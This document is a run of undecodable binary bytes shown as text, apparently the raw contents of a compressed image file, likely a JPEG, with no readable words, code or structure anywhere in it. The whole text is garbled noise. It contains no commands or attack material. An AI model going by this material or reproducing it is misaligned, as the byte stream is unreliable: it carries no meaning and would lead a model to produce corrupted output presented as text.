Y�� �C�� �"w����%�_]�?,Ux���Ib��c�4�3�e?ħQ�4��@�'隑Іa�i1��p�⧊&���cE�nB�U��x4Զ@�P� \�k3e�Y�0c���]��wÚ�$P}��SZ kr��:~��L䵼DZ��k��"}򬈎�4��A���l�e�?�C-�F��O�m��>�T�
�jr��2�Բ�z&*�G?�X�69���R�R֨�)	 �s�PrMG&Hp:�U �Faqꦲ��H��&���kr:Yv�dV��$ ��qL
D`�t ̚a�1�J�q�+B�:��Ө�RYnC�g�3�'��v����Z��C�����������f~Yrб�!�k��Fа?~/�i7�����AG=GqP���*���r2ą��R�8$�������%`� '��9v�) f�� Tx5t�N���9EIY��yp䯮zf��v��be���5L(=jp�TX���5�T̫U���cB���L�t�8�̕ힴ��y ��ͳ7!4�O$L4�Bh���
J\�PRR┊@ ��E!�&���h��Ji)�LSi��( 4�SM4 ��Pi)��E8bԸ�Y��b��jF �  ��4�M8�b�4�q�H>�$Rl�nBy ��� ,cp#=z}h"UᐁVe6y$ �'��.dK �@���m礤e9�l-��sn IX xG��>�.�HԘ�c��\��;�)�j(�X�V ��r20G�\���w6�W��m�Hc���*`��
Y������&���D ��b��]e3(g?q����hۨ�s2��0��I8���r�Ա�FJ��� �;v�$�no\�����q��VZ�H�œ�z�]p�j��Rze�F	��S��/���W$}яƞ��+h�H�nW�
T�G�
C�J���iA������H��zQ��7$S� �̈=4�a� Z�CLd����R���#݀�����SM��ZJP	4�/��?SNs��S�`:?��*��P1i��ii
 �@����R)���	A�W'�Q袩���T�-���!����R+��� 1D\��j�?�_ujI)�&#� }qW��5E g����Mͤ����I�H�6ӈ�*�i��I��:
����g._'��S|㊩ɛ��hMJEsL��z���֒����?�E��m� �?�Զ���?��)�	�^�rl�3�z���L��OA\���r�k� :�7����5Z�L��4(5N7'�gԭH���q.T�(�tGC��I�Zh�V������<SĈ{������?�,�ٟB��XxR��b?�O Z��c��C��v`�8��� �f�i��� ��R����bGӠ������v�˓�U�8�A>��L.  ���r�;5p~ .Ӎ��U�^��DZ�B$d�?�!5����s�)I'�L95\�W��ƨP�#"�
Hƣ
�H �y@,HSБ�@B������AZ@L���"��a�#�=�C?�Xٛ�X�P�RF���qZJ�2�)*6ԇ"���Hc�
I�����w�>��'�kC�i4��i f�i(4�3A4�) f���hPE!��@
��Pi����SM�&�E�i��4���*T$�T"���6S&�X�i ��
 ��i����� �Ғ�6����ՅXg���_�i���q�<0%Oq�S�17r��?�jC�E4`� ��Ǖ��`�:�+�G�ss���&Gb
_��	Q�����è5��FPpxn⬐�(���Gp²�W����)SI��mol��-��F$#��&����@봍�u⹛b^A������ⴥ���"d�f�}�OOf�N��;{�b���1��#� W-wlb�U1 �Q��I�������2{�sp��D�< NH ӧ�X���ُ±�49ڬ}Xم$�@T-���>�ܙ�֥D�����3O(U9�m�GZd��b;*�!�4P@>�����}
:�~��"���j�?v�HǃQ���4)�S֖�����c�sM���#ڑc_�/cL���?Z ~h4���4��#�N�'+�4*�}
+�gb{��(�2h�E5T�� � `� :�N�V?��� : @Ĩ�1�j��=%?���'��\��g�)�(`�3J
34��Q(5����B�Sm�������קּ��������c���V?�Kl֟YX��ܞ���G5v&$�� 7�W"喳��M�`
l� ��Z�;��BRELt&���t�NH���1S�g���+X��C��3g�G�Rf�����ч�*�mf�����0j$;��=J�~���-���F
����t�GiC�Rw���7� �#5�W�� ri��?�p?�������a���r`����ފp4�r�S+)̬0ED�Ȩ�s$DT����R�i&	#��G�G~G�
 yV�fRI�H�+�t*H�{]�wk�t*�pH�C����i!e�>���{�ͫ�š���<OJ��ڄ�G��
Y��BA�/o�E�1.2�p=MX3)PU�B�Wv1�̦��*�wG�*���Jdm�b$� ՖKP6 ���]t�>�<�ܦr�����c�X)Q“�Q�}M_6�ht�8�ԛ,ԩi�#�"������_�]"f O"���u:J�'*� �R�j�BRJ\Ƒm��)���k2�4
3E �M!4P!i ��	�M4��L �M-% %��i���JM6�3��p&����ɛ!�;�L����a�3���@L`���)��D�4BXr���*����	��@;�#�Е���Hwp���2�RA��zV��kAg�hB7+g-�G����Ƣ�(DbݶN���U�*���in�4��"ܕ3�U�^���R�xX����[�Q�,i@$t����gn=A�+N &�����7R��D��&v��{ӷ�4Ƿ�;�ؐ�A�{W���-J���#{Q�6sG4D�,r�G�"�Z5�`�f?�5PO(Cs����\V��7j6� V�F�+��jWe��+X�s*�ȬB� ��J�ob��G�Rk�Y���A�jZ�[c�w���UP}ɫ��ے���ͅ=���pi�g4��C����ZAÑKVf�T�5>� � W?-0}��iX���
����S�G�C�(s�S�FO$��!�Q���S�H8f�-7������Ҁ���Zc��� =�J) ���S���
1�T��W<M��(�9QV"8i��T(>o��"�)�o�)�'�(4�\Ԕ?4�~!Oq���+b'�qR(ڪ�����3�}G��-O�T���f����X���Q
���@��E���V�)��2�l�&ݹ���S��ETG
�S�|� ��T%suj�/���vT�3R$���Y�l�K�BO�:�� ����:H�c��}���*W}�G�UT9��E�ڥvtY8
��
�2�ͣ�ɼ������#5�j���䍿1�X��=�������!�N|�'�����	{’н)
�Y�a�j��"%�uiFA[-��:��QT�Ԁ�pi��"z���PR�O��<G�X��ܠ��6��I�1�p+�<Wx	H���5���@���a"�de���F�F��0,u n8�=i�#;:���X���R��N*&2�+Ԩ#�i9`:f�2�
K)ub
�k	Niۘ�X	�qM�.
��O�BF� �f�i
C3IN�4�IKIH �E�B(4��i��4�`�J( 4�N�6�i��M4�)� �=3O��F��Hr�a����-��5����5;� u�B����uИ�@�y�K�A@�D�!R>���D=i�r�۞	 ��(��;�I)�H�`w� ��
/Z6�+8b 4��`��)E6�)'q[:3m�-O�4�ⱏ �c/�4O��S�Q"��w:���a���kΜ�kҵ�gO�1^e)�Q��I�]rz�~���85�kX�28�ļ�G�f���E+�RU�!��h�"��~�ڛ �'�S���RJc��i���M 4����r��[�'q�i~i���Ji���c�"r��
�5�߉?� +��=�J`�ɧf�Ţ��3@U	��vf?�U�p��`>W=���M K�t�?��ԓ��3�6=����A�z@"JBp?QLs�cը(%�U}X֧c�O��@y�=�i���@�(��$g�ɫB�#,*D�R�E�5z z.کF��R�J��"'䞦����W,�'�j�ɒ�I�ɓ�@MR��*�$5ʏ�FO��
ϩ�B���yd$��OJ����1� iET��!����_І,��+~@Uc	+#^��
�UG�3�j��)	p����&��`�xY��$���� GV�� SF=M�	� ]��a��OPe_�� �؊ηnYGk����N̗�/]|�n����jЪ���A����j�"̘�QEP �R� �'� ��s���J��� \�cɦݐ%vp�ٞi]�,I��k� pzU��˓���������:�M\���U"�6P9��>�@8 �*3���U,L��Q��3�5'��,N*<ҚJ�����M4�)
��3Hh�4 Rf�E
J\R JJ)3@���S ���`�Q@i��M�Gyn?5HQ�eXUP��S���st�$t��\�F:�	dd��PNdw�ǥ	���jT�85`��H��)���I����r)ܛ.�(�B���񚈂*I
�ۓM�{�bE �7$P��
'l�(H H��BN1B�$G�����?)<��?7N���$Ȍ�T�&�=�C6��(��A ל��5���_B�U�u��Ȯ
Py�;�j�#�i���rToQ�:0��85v�S��?���;�%�Q&�zz��1���V��
��(�:�cұn8�5�`M8��F̘�iH�5D
a�EF�
��z�@PyS	���*pV�xpi�0����FT�b���E9���'
M5 �z~4�zSQ�J�=NM L�N�4��)(��bH@F'ҙ�C���h��(��'�)��z1�b���?AS�9vnÁ�i��hvj2s:��I�i⢌�Wol
J3��N�����Z�0Z@��\��9b{:#{��A�K-�jQNX��?���9�f� ~B��/�d#��?��������?���I�q��Z>^V�V d�$�7R#�ڤ�>\p��q�}V5-�3Q>bG1�7;A�8��~�0�1 0΀�����FE�(�� ÀtXh!v5���&H�p�+`��@:������
!�G��*�� �WK?*���é��� �J¿(�L��n�������eXg����S^�z��S�L�]�;�N����qW3Um�1A� O��Vs[��d��3M�����=i���:��<J���]�4gc�Ms�L,�����e��8�9l8�y��m��"��l%A��r�rs��BHV�QP�#�QO��)�d�`!�`�Ⅵl)���Q��{�j�	�~Q]l@H�O�z�M5,�Jp�4�Ji�4� �
%�ZJ i��)�� ������)�QE% !�S�2���1�R)�N&�6Ӌ�*�j2iT�A�	�t�%�uI0Uh�
�0ܤ`�d���IS���'�a�GdU����݌��w֨�K"� �x'��
���I� t��i��rI�2��PH���j� �AS����H�29J���=�N*�Rw�(�)��j�
QI@4 �y5�e����I���� $�������X�R�-Ȗ"�7‘���Ƹu�tOo��d���m/� �F�q�=�j˵��jmӑ��`硬W4^���Z���k"�	�TD9�',���
��֥�fy�O��(?SZJ���;�V@��z7S�A⹙"gi_a � v�v���Av��2}�tS\de�P�u���F��٢�塂FB~�g��up
��޹�o�l�t���Τm��8p=FjB5ZC����%s��
y��9L��:��!Ȥ)h�1��.h���&�!v�=: pX�c��Av�G�
 (����h����\��@���p?�+���"�;
A�� H�j�(������M�aI�4�j�(�u)l S��d
�X��r0O Rh���	�8 }i�����Uk��*�'�zR�W-[)K0GV�>�������-��c��+2I�)
IfT� �?AZv�-)0��P����!NF�3�/e���#�@ TH�y����W?,c$֔��k�|�� �k��L�H|�Gl�����<�H�H�p���ch�i	�2[��s�O�U�5T�04��"�k<�t�>�]���
�,�x d�]>"���0�c�	�S�F�ѧf�K��3;����\V
J����vر!��v��;��U�"X���H� S`���
��ݧgSZ�D�F��
 ��lgN�z5o�����*sؚέ]@�q����H�+��	�z
H�f|0 c8�MOk,K82��c�֝��B�H9��tj����� n��kN2�Q3F
��6qR�!�ek`
� f�'Ԋ��^(�x�O�TdY`*�Ŏ+z��C݈�inE$��rMBM<�a�	���HJx*Ws�
4��74�i��i� RR�J���h
4ҚCL�����E�))i
 4�)ƚhۥ<�*8�
\+�y�[��"��J|��<�A�EGL��Hh���ApA��FH�E�.E
A w=�W+�����B�{�na�R%T9 ����[���dh��vۜ�=qL�!�3Hh�r
P �}�4��z��*�T���j�53���?:Lhi�rkwH�+R������{��p>�rk��:���.�� �g�C@[����g�F%�䚻�DeԭQ�~���V$�[ላ޻��&?��T�hT^����29�I�5��0q;�T��8�Mn�KrQNU	���s� =�+"���)�c����Y�� �I�HVA�j	������>լ^�SZ��G��u=V'*���V	� (�4���s����S�)�˒��ujxP P8m)sHh$�@�\�f����h�<{�j� P�)�b���hrX��>��� �(���94���rx��),Y�Q9��� rz�����T�IU�pA'�)��7��bǙI�5h��%*�o�ܟoj~i�4����;t�B�~g�a���~w�W��{

%LGX�,}MP��� ϰ�X���)Ո$�-6�B�JGD�'���ɹ�� ��{�^G�U�H��� PI4����|Ǡ�6.�y�NNX���8�T5Y��$��G�'���w4���C1��y��ڴB�9bIc�ǭfZB%��(�c���ڶ�Y��zTԠ�`j@h1�& 0 �QR�  4�j��D����
;��.h�35U�ĮUH�V������i�V'�x� 1��I�
}�Nd3J r0�������(rP|ǫ�~��!�k-��:����\�\���I2	!�OFR+W�!nx���>��kRc��X�VFi	S�0��3�v�	Cey�P݂�.��A `�aU"������0l�1�kў/��/�0T�R�D z�MJ`�E0m9&��l4$�C�f$ P{���i��CHi�Sq@��4���i�4������))i( ��J`)��(4 �M�m;���4�z r"C!��T�qL�dj8�8�i4 �)�P�)A4�Ph�&2$�Ã�Z�T�2�ƘM8�lR:�FiH�)�q4�4ԇ�. ���Q��!�z�?�*@
M;y�7�HA��(8��4 �t��O�ndS����OPrk���VePO
Ӝ�j�H��Q1�i��d`�N�r��M���G��番��!�QV%!�V 1�� ���MA-�_�R�*�H�Q��������ԊRp2h  ( 
	����(,i�X����A�f�Ҁp�q��Ib�.@�
"p@  3�ҳ��R�H�&OD �+�^�,N �#P�I�ɨ��f=G��(61�Ĝ��4�N0:�8.�ө��%���k�� ���Fp �Xd���SM�I��A �`Z��e }�����F��Y�}��M�@,0 z�SSHc��$ I�D���8�qN'%W�?�!��T���ƀV5 u?����:��R�@�D�K;���A�DXP�$�}(rp�����D#���$��O�F}���VA4܊Pi��{R€�	%O�=ϷҚ*�)��GM��0*� VU�����-Š���
R�V<�HV�D�%�i��`j@�Hɢpi�� ӳL���@54��qX��
USV֐fsE�5'QP�5�x�v�JǠS�WM�m��ڸy =	Ͱ���|�'�<�YMֹ�6�����ɪ�`���C0� c�q��H�@' b�2���bw9 *��/ Ub
�����n�g9�Cw�R� �i� !��	��4����i���BE 2��M4�)(��Q�(�RZ
 Fi��M�Gq����z�a�@O R�A����f��)�u�斁��^��K�@-(���!����NA�R��@#

+��!C� �ˀ��H�jR�r��T4 ���L�J? р{�3Fh�R�Ȧ��Fi�
�9��B� 	"�p2�2�����F9 S�A��=��O���pGaQ� �q�4iw�� g�UEbI�v�5\1 ����j�cj- KQ	c�F~��b8ME9
���y&�%A��PO�Ѐ��GL�{��H�W'� �*Rp?@)L���[�҅����Ɛ��=�sR�b�@'��V8�)��-�U��">l(ɫ)\ �\�5�� t5)d$�B�A�;��9����)��Y�%�#.��phd�T��X��8��}qQ To#�4LbJ�@���<�,� S�Vf  2I�b������9#�����ϖ`Uc����0 �f�i��x5iԊE��&�7���@���
�\Ms)d


�5C��V7;�55��l�
i)�{"�Z�ԕМp5 5 4�0jx5 4��&��҃P��
HV-!�)ڲ������S�pO���s����"g� h�������qoc�ic�2��UFI�;�uv���!�_�}�G�k2�q#������f2b�$��u9�D�r��r^�l�y�$�i�d�3�n)�L5HC{��d�EH��H㠦"7oRr*2G4��S6�$i4�Ӎ6�
J
!�ZCE�i)I�)4�h���(
!�4��)3Hh��m)4���!`i]���e�&Հ�H�G��h\X[�ʱ�T��ҹ�QFvgJ�䮌"i3V%�,� u��բi����҃M�S�JL�M .h�ȥ��ai������?pzD�yG�5���R�~z k�Z�4��i���Q@�i�4��q��J
 ���m{��DG�G�� ���]�2/U$�Oe�R];(x�9ʠ'���\�\�4��A��5Y�݀8�FORM =*���� rH�D��*��f�0�=�?#��{����Ld(f'�}j��f&�$����)�2����|��=�������)�@�x�J ����R2€��ǰ��I*������z����3�Kʃ���i��	��_s1��7��@�nu�<�*���  :
��u���Ta���:������:�d⚊�CII?�S�9�_����R��0B84��U�p�
�aR�͒H��k�!�b9�"�� 6�O@�M �Y
o�% ��S�O"Y����@  :�SD"* Y��"�M�!�p1T��Č�H ~$��;2��A�a��4�������L�8,N�U�̥��w���?��bѱ
��RE]H#^�Vbj; ZN��r?CR
Vϡ�����Vm3T�zT]������Yq{��l���������#1�MhY~�m��*��b�S�������h��pih�y� V	��V!�.%Q��d+/�:�SC�ٺ�V�E�,�	_���n'+$��#�p�A5M�An2	\�����K�����!�r {�z�g�����&�Br{η{ �լk��O� �^}Fa��e�cEOod�F�N+�u��F��4"2X.X�brO�j��5v:q� W?sdP�E�E�E:wWF)rz��*˦�ED@���V�@GˑMǸ�~fA�h� ����b����*3Z&CDg&����Fi�4��4�iI4�)�i��q4�LBJq�`.i)(� !�S�%1	E (��4 �����
%��i)M%g��jY1h���g"�>�g�dP��ʣ�bF	�
����Q�zw�sJ�[��:cRIXٿ{9[�{A �Tc#�}�P  pI$c�#�P��N
8G�XS�3"�!5dE��z��HaÜ�elњVR��4��viA��@�f�NH�R�Hd�7L�� S\�F��R[���z�9bsܚ`�Ғ
34vi3IHM -% �i��RL��Fi���5���m�	���ǰ�_OsY�䜚fh��)X������=)����1��P��'$ؚ��ER%�8D�u��O��@�3�BI�� ��#n�N8�4�P˖l�Kۭ4
q��` �zӖR�*pH�2�Fi �$�N�SL9 PW��7&��3M�1���GңO�����PGs�8�V��#�� �G�<�4ɉ9<�Oz�nrI	�Ԋo��I� �{�S��I>��@rO$u�$(���95�|��4����!G�� �D����ԜS	@U]���”D	�r:�~8�hp    �T�J���"��@\�ph�5]��>�ᇡ����c'Q��F�U�C�BIHQI�B�O���*m+H��X�r�M[��+> U@��Ef�Vƒi�\ Ο0�ÆB*o�M�9�����2�|p®��~������9�w8���7겲�H�\n/�)"�R@V��9C��<V'�%ݨ�0=�qZ�5�wИ$8�1��c�~��y��I{�czU4��#������ۆ��$��rU�V<���5v;���Fsa�ӄ��EURKA��Ơ �6�b �����`j�n���&W$��8>�NJ�[�'V8��0� �<15�X�ۉ�e$1c�����]��mLjۚ�B	�r\���;�4�l� �9�ؕk�]��*"jđ�qUȭbє�CqHE-!�$i�JI4P":)M4�3M4���b�m�h
%)4�S(4L� ��� )	��6�3Fh�����	��T 5�]�0�p�N�U��z�NԷa��ؓ1 �4������@�o1XK*��d\��Բ��d�9&���9�1N1b��Bº�bH��O�*���.M($��N�Q����$ֳ�d*�@*v��k�Y%�M�ܱ ��
e8E�Y�9&�њ�GR�S3J(Ÿi=�����В�;!�z�f�i
/QLBf�8�H(&�5t�K;��\�T���:�HꍹA Q�P�i	� IE�3Fi(� :�F� /�w�9 �J�*��`v� �� ��b�r�rMFE<�X{�8�,` R���N

��i�}� � h���S�
��ɤp��0g�EH�p���%x���ZPGRiH��~��@Ϸ���2H��қ�<�y��"�eb ?Zt�9C#=ǥc<��L4�7�f�@�H�K�,ď�:�Xg�
	�
3M.��*� J��ı'$��ME �Jy9= z{
�23Vl�H��*�H����  0AL�P���QRP�
�NXT�ڂ�fN�O"�C�0
!rz�V�9"�����x�����# �5����Mi���k�����n��R�"�@��(J�
6Fš��:���@�V���-,�d�k�"��b�T�O V}ޱs�K(JÒP����a&aR
�-\)��gu"8�^I�i����V(.'f��
�%N9 �q�޶��1�-�n�F�9����Ej�ammw0��y�'%8A�(䔕�쵕�G��H�P
[��V�\��+���%�nL( Q���N��� `�W�W
���R
k���)9 k������j�T�P� �+ �tP���+T�Ȳ&��w����)�&H�����7�=�i=�q՝f����95�>��E2��$�n ��P�DpFH�8II�^�GUN*�O3�t��Њ�%X�]ֹz  `�\+�ۉ��#�Wc�%U4v(O�N":@HP�M+�Z`Fi��9��h��3I��h���J	�� &�)B��w Gn�3��A�S
 J 4�LB�JqB�� I�L��)SiƘi��x� �JI$�rOSM�̻�Fi(�!sIIE -&i3I@���@����u"�+P2H��c�CO��
��h�!�&�i8��@RP!M%!���4�3@�W6�ؒI���!Z���ɔ����q���TU��RyӞ
M8B@���۰0j�,����~�he�RH����=���2��Mn �>��r�^���v�@ɠ�9���zd�#�@�u5�F0}� L��NI5!a���_Z� : 0�x I�����ԌRQUXG\��}�x ��}
5Wb�`�?Қ��]OP�����@*P2}�x�F��
n��ǟ\�����$,&<��I��U2{Ӷ�] O���� �:�@&k��@=O��4�8�Kzq�� ����.
�L�b� p4�	���n�Ɖ!M�qZ[O�����}}EK`��VA�sT�EuVV�A�5^�DH��¨�I����k'(e�X���k{���
+�A��)��R�E����Œ���^��	Y���U�t tE���0�G��>��Ơ�*��v>�v1r��q�ȼ��f1�Ϛ8�D�ݽI��ܢT@w�I��گ.k���[�[�xܖle�z iڅ��'�'i EGn�S�vPN&�,R1 �o�ڠ�r줒p02O�S� #�C2 �砬m���KI��9RpNA������4�ME\NL�R��OZ�7 '��9
���)�����I#pʼn8�M���0k�bxȦ�5���soo$h\ݼ�,MP.�M�4��񂊲0�ܝ��{��DZ��uUfC��2�ViȤ�V&枣-����[�.�+;�p)2i��A��F��i��-I��h�A+�泲0I����4ҚmQ"I�CKLAA�6�h4��"D ��Q9�<>
F�-@��PT���Q� �'1��@#�#4���zDP1< F@����	��Wje=��gZ(�T�1�̢:P
n[h�W�L��"g-�j��Vy���I�QlM�q�mzDž!gY�0
�\��[��Ē��1���ӊn
ΌI��4[� �� �j��e@��#f�H����>��L ��)O���Hǹ�F9�E�,��ki�m�F �9���l�4���`X@�c��MW�(� ���,$������9��i+B��wc
�X�MW��EEf` �'� V���4K�,���
��2{dVc�WSi�&��zJqa�c���c�q>o7����'ڰ�o	sef���w���gS���E��d�Q���#'8��;�8��j6pX8
�C�gRo��҂r_RpM(�H�'#�{��҇�O�֘��T� �cހ6����������})�
9'��H�d��Tg�WB:�EHIp#�*9���`I��a'�Œ
����`b�w�y �*����N�ԏZV	,�{�Bw�t�~���%��p?�����4�Wq�����w+���EYPJ�G��튅�W��*��GP��eh�S$(�� �9Z6jɽ��~�Rv]��_�����ߘ��Y34~�	�)~�n�?
̤���f�����Pi�un�3���zB(��:G�`^�AY�:�������z��"��m������%Al�j)�r�R�rp���zT�w�Y�U �;�=�%H#��)v'$���=�i�Ʉ�$,8'��ҷ�9k�e�/��W2Mli����4DC����I�=&[Q�n�D�in	
Nb�Z\JL�  �O��Q]&���"eX�~H�H�\��.�̃ɸ�����)���GA<SLqȁ�
@��kZK��AS�>Lm���Fb���+.Wr���@O��j�WqI2Âq�YE���A�C��Fv5�;�����VS�����X�2`ݜ�Q�A�\�9��M�5����d�a ҆"��
���3�pja"�����NȤ��H�)��zLa��;���)�(�M-! v&�E��Hʶ���S�2�#��M9Wu,�C� $V�zpkxYF��I�]x<�V�f?*�(�����j�*b��u�e�Eej�����S���S�ѧ��m(�R��R�FA4

�l�D�v��&�x�"�cM0�q�d��A^��薇|�+�T">�$g��M^I$ GӥJз�=v���M$G�� �1�+;�r
ϳ���x�U��z�	Ua�\�Z���H�0��ހ��K[�ˡ���0�(��|̣vڣ������$��B�>]¼�^J���ˑ��FG�Dgr&�9<�Q�Yl�	!�H̄�  x�11CHOSL�D���"��:�l��ԉ�@r�G�eњ��N�ɚݦb��s��M@�
��ɩ�#��k���j�y4��xnr���2+�s��n"�.���]X���
ԾN�,.���Q�&��w�p�`�pJ�uǵ[�K���p��T�pA=F=�5 %A8�&�� �$�����͓�뗚e`�&6S��E�ųjk3"��1����1SR����ՏU��M�����b2���}�����}+ɁРC���u�����,r3���0W�5�[��V62�@����e��5��ާ\�<�u�UMZ��3U:���D��� 2I��\��� n �8�U=*�[�$x�Z̠u�B0*�ԭtL�0������>��w����	(Y <����0F��8>Ԅ��'� Ѽ���ɀ݀���ұ9���H���z�N}�*�t� ���pzѹ�bH�n~����Bi�g%:�>��Ah���Z��^��)y�Q��-��h�6ȪN�*pHSB	�� ���؎�}3�I�щ��
���h ��`��ñ�,�a�f�X��d�p$|�I�z��9Y ;q��E=�o7+u��1G��9=��B�c�1���@\�����n@	�T� �F�C�ʦ&8��ՇOΘ�Iw�*�����)	�2�q�@	(p	�
2���J\PQ�v �Q�vE �Rb���m�jϕ.���8�^��WsBʼrF:��㱞i+V]6X�A�� `��ԉ�+H�d�\�n���E��Y�NX�ʅRI8�c�I3���v�KvǵH������ �d��s��
�����O>��i�u�Lm�2���'w���/4� �@� =��
�m=�8�@��P~�
�Tb��6��l�;�c��܊�C�,��Hd1�=T��k�����X�à="����[��*X�è=��J���5bB��kSm�,�f=@:�x������"t${^�Ŭ��>XɅ�{��}+�<W�O
ȝ��:�r]D� �M=��y�A50*ˆ�N*�q�HcO�@�(+LD��W޹$�����*�`��qB U!�c�.BX���5L���9�# 8��ⓔP�YP�ND.�@$��sW��x�޹��ȣ1�� �RR�Vj��u%�H%�`�† w5��p�	�o��9�1]������s�-�"�s��nI$�rkU5k"e���e8�.��Cm�J�&
�]_#?�Vm�9��ç#�$�N@�M:�[G}�Ha�Au�$�u�C�0r>����C*T�c*��fK��Ď�N?謵V8|�� ��rKV�"
� RI�զ*5e%���F5#foIs(;YB��V&����H�h=����S ���=E��j�`��9׷��Q�MKޑ�J�H֍㱞h@��;��E4�
!��&�4�M�����K<hYT�c�>��b����Xܢʳ���:pk	:�����$�DB�؃MXɈ�T qɤ>�JԮP��M�x�=�	��!��0E74f��T�}� �S����<�I���i����4��@� ���U�̥�y,j�i�'�!�bz�Y�DI=�ɠ�HpF
#� Cs��H�O�W$���h��M(�Ҩ�h�4�smas,`;�����*�ڛg��Yyv���WmCK��E�b6.�',�ѱX�L�B�8�����n����>r0A�;�o#�c��(�.O�:��WwbK�NkcN��	�ZRX(����j�	;T�Cs�"���!��$�A#��{�b��Hpz�}=� �W�rJ7@8� ��c�B�\��7 ���Q�0cӌ����	$
 5�� $���6�b�0��X�� T �fd?CҀ,	)���u^��zRA���<���Sp�s�h�~��ǵ8� ������X��9���2AP3���c�<@J0X�Ga����%�
�!'�w4��١s���Nzœ�g�՝����c��A��:Ou��L{DyGH�	�=G�S�й` ��w?Zr�$/1` �A���Hv(��	�JFH�2{S>�s�� ,�$:����	���q�M��X
�|Hy$t�x��P.TfIDc�(���K��� �H�zsV�2dKv`�Ǘ�;R"n���
G���~�\9QZK�!o�Y���z`���ah�b��6��5"Ffi"w���Rz����J���A�G�~4�`�G �"�*���}}*D��6�;�ܯ�֘����`r��_��Ag��@� $�z!�-!�g-sגA�P���!�����
Bsr2\�N
��y���V$����(J��!ly9�,:SIx�]ub~q�x�Se��D"R�$���@Fi���,=Xt�S��[8��A���ǵ9���2ZO��7u
M�<�hd`���z���N^7|��U ��~��qI-�cVț�=�����P~V��^��L@nRF$	# .�$�4�4�5�`���sj��JlX�w�ܡ�
��i��p� ��~�����\	�A<c�Z߳�6��ޫ� %�=d<��E������=̦	�" 2���?�KU�}R�Hrw@�����,�+����z8~߇j���T�(Ӹ�V�I~�z���F]O���0�pA�*�S�]��l����	8S� qؚ�k��MH72��_�V����:<� ��ARiOc^�����I�M_�K��
���������&�
���IJ�<�d#��CY]� ϼ���S��VMԱF����d�ɢ�Sk�8T��` �q���3���"��G���A�Kzg}W̑�FX�SW)ՒЏeJY���A+{�_M>�0��t�rk7�pn{)�T{�c�vorI�WB���2�:Ķ��-� z �g�r��Q��/@�� ݸ3U$���&��jQnFngG�x�Y[g�G@I
���3nv8����"��0k�*��N�)@�ӳZ[���8P����H�u<Q�J��y��~��9+l8<Ӯ^]���+�+�^1�E_Rz$ofB�ۣc�J���,�71t5�%�	��59Y�(��i�2�{TAQ���	&���f$�g�]F����D
T��+�&�U9«��
܂�����aiR`�J�6�<��v^X����*�%@Wp��sן$y��iX��b�v*zg��_$c�O�D���~�!��>H؀�ֲ�&��������Tunx�x�"�鋺��$ӳ:�H�}j0isPP��f�4��f��sE :��4Sh����,)��b��9&�Ɠɤ&�
1h����3E f��I@�&���P!@�0Dd�ub ����t~���QE�+; H'�Nȸ��c\H���D�QTBO�W/r�f
�(n��1Z�nZ�K+;!*���b`I��,9��R�֫�1�Y��sQ�0���)��F$�ÿ|��4[���{�+c�tHb~`x ��y;��g9���j����rJ��� WEp~bsM|9�&F��A8���= {P��PpMH�	?�D�0 ���P�2�br;�ޘ���s�FH�TR(iJ� `�;gҜ����=�1ʘ��ݒ}�@
�ǘP�8=��EdbNNHõW�F�u?1��֥FR�F@ �[�(BG���� ���O`5p~l��=)�@�A<r}��G�<�� �q<�$h�~`z��֜��
���2F�ՎUA�L��:$���bN����$�TO���|t��!3�a���#�CY"���a�G���aZ��I����
C%
�j1��>�^١QL�DH(�!I�� ���X�#pȔ9���>�J#X�Н� �ԯ|�( T�J�\�n�c�K C������=s�J�3pNc<��H�đ��BI
�(<�����dy,��'c��߅��Ѕm��F=���i�i1,�J�=
�Q �U���(	콍 9��b�W�?ƞQM�G�# �GsҢ�Q��ݎ�r[�R&�LX���z����3q$E����'��)�"��!m�!����5�-�/&Rx#�'���ı[�d��H��'�H�,�2��G��A��������{��ǥ6u�&��œ���O@��9O���N9�J	#��`��q�O��̂�k��
1�G\�aH���İU!A���E6�G#�$$��!=���΋Ѕm����CN1�Cb6���ߍEn���G%��'�Tt?�"=��3(9�N#��i�8E�l�g�8�gm�n��7sBN��;�:����f�E��1�A�X��B��A6�B��$�W�\�)1����M=�1x�bC�=oD���K0a�R:��!�yع���VV �T�T��~��wwif��LY%@$�� �؞��+�Q|N���O��0[�2KW9�]���\�&8`z��M:��M,��(�c,A8s�V�Z���2;$  &@���R�9Ջ�>B�ep	a�"�5�j��� �X��VQ��"I������Ee}��勐6�Վy������5-M^��,��B:���޼0I29�X�}Ϡ�K����d��3�7e��ɺGfbI'$��#w��W�ʬ��r�,>������)̀w���RG����I4�E�)�.h�!�{�!I��x4��� ��3��i�j�&�T�A�V,��0j'4��"T��EiC� ?�k5FV����N;�;�p�*�*�˥~���*ȉI�ݎPH$WO�k���!�	���5��%@�)8${T6�<3��p���������K�qg��ţ�m���f\M��n�P+�:̲.�Tz��G�x��Mn{*�2?Kd��Sk	+�5���xT�2����ǖ��+.j�:|њm-j`.h�% �f�� \њm ��f�J zd��
8c�nH��B�e�84�0Hh=)r	�BR�Q� \њL�f���%&h� .h�&i(A����H-'��TܽB��V�]h��,��d�Ȭz�m���56�������i�@  H'9'�k2P�0 ���}3ڬnTYU�3��A�*�VV֐VDTwb�~H��4bO
x'��jxdn��� !�+C2�ݎ�Ǯ
XZ/V$}r*�mb8�DD�&�%<�����~�� �ۏCH$pi 9)�9�P�1� 
*����)�H#��w9�@
q��<�iF<��������ku��z�����������. Ǩ=��r�qȢO�(lp$R���Ǿjo�����v�Z���H# �SV��}�X��>�� �JU�#9
NP\��(�
�hv��Zld#��q�~��#a`��H�����g����pӞ���p��I����j�<n�$d���"�Baq��_C�P1�(�f#��=�w�i�Qf����zp9� 9��#���9� �x c�s�� �*l�@;��P:�9�UZ�5@K��;��e2�q���=��n���Dr4� �g���� $�6�� a���f�e��ʪ�0��I�S�%ٜad���~����d�C�����ZCP�p��S��t'�}��y�>R�A�����>T-��܁�O�L���#���4 ��b�A)�|{�A�	�b0�%b��J@��J1���)���H�@�N�s�h63G2��8%}�`)>�J Cw�e�dHHL�!�����y�
��
�>�\v#�
`�c�����ܘ�@PePom���O��٤pd����M���D����J�a'(n�eTJGL�i��f�I�HGB��M��ʒ ��I�>��>]��*a��u-��{�J�Z��!$'�K�����7]��=�����yM�(l !�;��^�!�(p��D���i������N��۞qE�QJ��X–�NAq��-��"�Zs��8��j���KR�	����4��;�/�=�e�6pp>�5�t��	@	}��G�}s\��wܼ�1���zu����k)���A�+�߭\]Ț�T���{dt��\�������"��&��@���v#�]E�[u�)���r��EP��W�(�y��d�\��Mz^�_�F����8�N��n_yN+�|
���Y
͓���'�H�+��'��a��G��GM�����Tf�"�`GA]H�cM7"�'��
